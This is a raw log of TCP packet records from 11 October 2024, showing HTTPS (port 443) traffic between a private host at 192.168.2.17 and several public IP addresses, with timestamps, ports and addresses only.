Oct 11, 2024 15:53:44.917927027 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.917948961 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.917958021 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.917965889 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.918001890 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.918004036 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.918011904 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.918065071 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.918164968 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.918212891 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.918221951 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.918234110 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.918287992 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.919008970 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.919373989 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.919405937 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.919435024 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.919454098 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.919457912 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.919480085 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.919490099 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.919522047 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.919559002 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.919564962 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.919605017 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.919732094 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.919809103 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.919836998 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.919874907 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.919879913 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.919967890 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.920459032 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.922847033 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.922950983 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.922955990 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.972382069 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.003467083 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.003571987 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.003681898 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.003848076 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.003890038 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.019458055 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.019501925 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.019576073 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.019812107 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.019824028 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.137267113 CEST	49706	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.137315035 CEST	443	49706	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:45.137403011 CEST	49706	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.137561083 CEST	49707	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.137614012 CEST	443	49707	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:45.137667894 CEST	49707	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.137851954 CEST	49706	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.137887955 CEST	443	49706	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:45.138092995 CEST	49707	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.138108969 CEST	443	49707	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:45.639509916 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.639811039 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.639846087 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.641289949 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.641360998 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.641808033 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.641896009 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.642046928 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.642057896 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.645359039 CEST	443	49706	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:45.645571947 CEST	49706	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.645638943 CEST	443	49706	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:45.647278070 CEST	443	49706	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:45.647356987 CEST	49706	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.648386955 CEST	49706	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.648488045 CEST	443	49706	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:45.648605108 CEST	49706	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.648605108 CEST	49706	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.648605108 CEST	49706	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.648883104 CEST	49708	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.648920059 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:45.648996115 CEST	49708	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.649235010 CEST	49708	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.649245977 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:45.658113003 CEST	443	49707	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:45.659436941 CEST	49707	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.659468889 CEST	443	49707	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:45.660948992 CEST	443	49707	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:45.661019087 CEST	49707	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.661938906 CEST	49707	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.661953926 CEST	49707	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.661987066 CEST	49707	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.662019968 CEST	443	49707	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:45.662075043 CEST	49707	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.662223101 CEST	49709	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.662261963 CEST	443	49709	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:45.662329912 CEST	49709	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.662501097 CEST	49709	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:45.662513971 CEST	443	49709	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:45.689316034 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.784040928 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.784187078 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.784285069 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.784349918 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.784373999 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.784404039 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.784439087 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.784564972 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.784631968 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.784662008 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.784765005 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.784838915 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.784852982 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.788526058 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.788566113 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.788590908 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.788604975 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.788654089 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.788662910 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.833216906 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.875217915 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.875458002 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.875543118 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.875556946 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.875587940 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.875636101 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.875680923 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.875847101 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.875910997 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.875938892 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.876492977 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.876554012 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.876566887 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.876674891 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.876724005 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.876735926 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.876827955 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.876873970 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.876883984 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.877441883 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.877505064 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.877516031 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.877629995 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.877676010 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.877686024 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.878295898 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.878374100 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.878382921 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.878407001 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.878451109 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.878494024 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.879101038 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.879183054 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.879184961 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.879205942 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.879257917 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.879297972 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.879396915 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.879415989 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.879484892 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:45.879492044 CEST	443	49704	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:45.879555941 CEST	49704	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:46.131767988 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.132070065 CEST	49708	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.132091045 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.133528948 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.133603096 CEST	49708	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.134452105 CEST	49708	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.134531021 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.134634018 CEST	49708	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.134641886 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.157720089 CEST	443	49709	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.157983065 CEST	49709	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.158020973 CEST	443	49709	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.161736012 CEST	443	49709	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.161832094 CEST	49709	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.162091017 CEST	49709	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.162302017 CEST	443	49709	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.185230017 CEST	49708	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.217307091 CEST	49709	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.217320919 CEST	443	49709	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.264271021 CEST	49709	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.666505098 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.666615963 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.666673899 CEST	49708	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.666692972 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.666744947 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.666779995 CEST	49708	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.666785002 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.666846991 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.666882992 CEST	49708	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.666891098 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.666901112 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.666949987 CEST	49708	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.667326927 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.667407036 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.667448997 CEST	49708	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.667454958 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.710225105 CEST	49708	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.710244894 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.753336906 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.753374100 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.753400087 CEST	49708	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.753421068 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.753458977 CEST	49708	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.753477097 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.753582001 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.753638029 CEST	49708	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.753855944 CEST	49708	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:46.753869057 CEST	443	49708	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:46.766684055 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:46.766733885 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:46.766799927 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:46.767024994 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:46.767043114 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:46.768557072 CEST	49711	443	192.168.2.17	104.18.95.41
Oct 11, 2024 15:53:46.768593073 CEST	443	49711	104.18.95.41	192.168.2.17
Oct 11, 2024 15:53:46.768650055 CEST	49711	443	192.168.2.17	104.18.95.41
Oct 11, 2024 15:53:46.768894911 CEST	49712	443	192.168.2.17	104.17.24.14
Oct 11, 2024 15:53:46.768944025 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:46.769006014 CEST	49712	443	192.168.2.17	104.17.24.14
Oct 11, 2024 15:53:46.769145966 CEST	49711	443	192.168.2.17	104.18.95.41
Oct 11, 2024 15:53:46.769157887 CEST	443	49711	104.18.95.41	192.168.2.17
Oct 11, 2024 15:53:46.769362926 CEST	49712	443	192.168.2.17	104.17.24.14
Oct 11, 2024 15:53:46.769383907 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:47.231322050 CEST	443	49711	104.18.95.41	192.168.2.17
Oct 11, 2024 15:53:47.231657028 CEST	49711	443	192.168.2.17	104.18.95.41
Oct 11, 2024 15:53:47.231672049 CEST	443	49711	104.18.95.41	192.168.2.17
Oct 11, 2024 15:53:47.232639074 CEST	443	49711	104.18.95.41	192.168.2.17
Oct 11, 2024 15:53:47.232712984 CEST	49711	443	192.168.2.17	104.18.95.41
Oct 11, 2024 15:53:47.233079910 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:47.233355999 CEST	49712	443	192.168.2.17	104.17.24.14
Oct 11, 2024 15:53:47.233395100 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:47.233746052 CEST	49711	443	192.168.2.17	104.18.95.41
Oct 11, 2024 15:53:47.233797073 CEST	443	49711	104.18.95.41	192.168.2.17
Oct 11, 2024 15:53:47.233901024 CEST	49711	443	192.168.2.17	104.18.95.41
Oct 11, 2024 15:53:47.233906031 CEST	443	49711	104.18.95.41	192.168.2.17
Oct 11, 2024 15:53:47.234200954 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.234385967 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:47.234476089 CEST	49712	443	192.168.2.17	104.17.24.14
Oct 11, 2024 15:53:47.234582901 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.234613895 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.234822989 CEST	49712	443	192.168.2.17	104.17.24.14
Oct 11, 2024 15:53:47.234888077 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:47.234941959 CEST	49712	443	192.168.2.17	104.17.24.14
Oct 11, 2024 15:53:47.236257076 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.236356020 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.237096071 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.237190962 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.237224102 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.275422096 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:47.279432058 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.283201933 CEST	49711	443	192.168.2.17	104.18.95.41
Oct 11, 2024 15:53:47.283221006 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.283236027 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.283267975 CEST	49712	443	192.168.2.17	104.17.24.14
Oct 11, 2024 15:53:47.283278942 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:47.330802917 CEST	49712	443	192.168.2.17	104.17.24.14
Oct 11, 2024 15:53:47.330806017 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.333836079 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.334033966 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.334135056 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.334197044 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.334222078 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.334310055 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.334359884 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.334367037 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.334403038 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.341615915 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.341785908 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.341885090 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.341944933 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.341959953 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.342058897 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.342108011 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.342116117 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.342470884 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.374725103 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.375643015 CEST	443	49711	104.18.95.41	192.168.2.17
Oct 11, 2024 15:53:47.375654936 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:47.375704050 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:47.375734091 CEST	443	49711	104.18.95.41	192.168.2.17
Oct 11, 2024 15:53:47.375735044 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:47.375770092 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:47.375802040 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:47.375817060 CEST	49711	443	192.168.2.17	104.18.95.41
Oct 11, 2024 15:53:47.375825882 CEST	49712	443	192.168.2.17	104.17.24.14
Oct 11, 2024 15:53:47.375847101 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:47.375852108 CEST	49712	443	192.168.2.17	104.17.24.14
Oct 11, 2024 15:53:47.375859976 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:47.375900030 CEST	49712	443	192.168.2.17	104.17.24.14
Oct 11, 2024 15:53:47.375919104 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:47.375960112 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:47.375963926 CEST	49712	443	192.168.2.17	104.17.24.14
Oct 11, 2024 15:53:47.375974894 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:47.376019955 CEST	49712	443	192.168.2.17	104.17.24.14
Oct 11, 2024 15:53:47.376020908 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:47.376032114 CEST	443	49712	104.17.24.14	192.168.2.17
Oct 11, 2024 15:53:47.376070023 CEST	49712	443	192.168.2.17	104.17.24.14
Oct 11, 2024 15:53:47.376630068 CEST	49711	443	192.168.2.17	104.18.95.41
Oct 11, 2024 15:53:47.376645088 CEST	443	49711	104.18.95.41	192.168.2.17
Oct 11, 2024 15:53:47.378318071 CEST	49713	443	192.168.2.17	104.18.95.41
Oct 11, 2024 15:53:47.378361940 CEST	443	49713	104.18.95.41	192.168.2.17
Oct 11, 2024 15:53:47.378920078 CEST	49713	443	192.168.2.17	104.18.95.41
Oct 11, 2024 15:53:47.379146099 CEST	49713	443	192.168.2.17	104.18.95.41
Oct 11, 2024 15:53:47.379168034 CEST	443	49713	104.18.95.41	192.168.2.17
Oct 11, 2024 15:53:47.422249079 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.422316074 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.422362089 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.422379971 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.422415972 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.422472954 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.422481060 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.422498941 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.422522068 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.422635078 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.422676086 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.422684908 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.423197031 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.423245907 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.423295975 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.423301935 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.423912048 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.423965931 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.423973083 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.424009085 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.428186893 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.428385019 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.428478956 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.428528070 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.428534985 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.428900003 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.428929090 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.428937912 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.429270983 CEST	49710	443	192.168.2.17	151.101.194.137
Oct 11, 2024 15:53:47.429303885 CEST	443	49710	151.101.194.137	192.168.2.17
Oct 11, 2024 15:53:47.429461956 CEST	443	49710	151.101.194.137	192.168.2.17
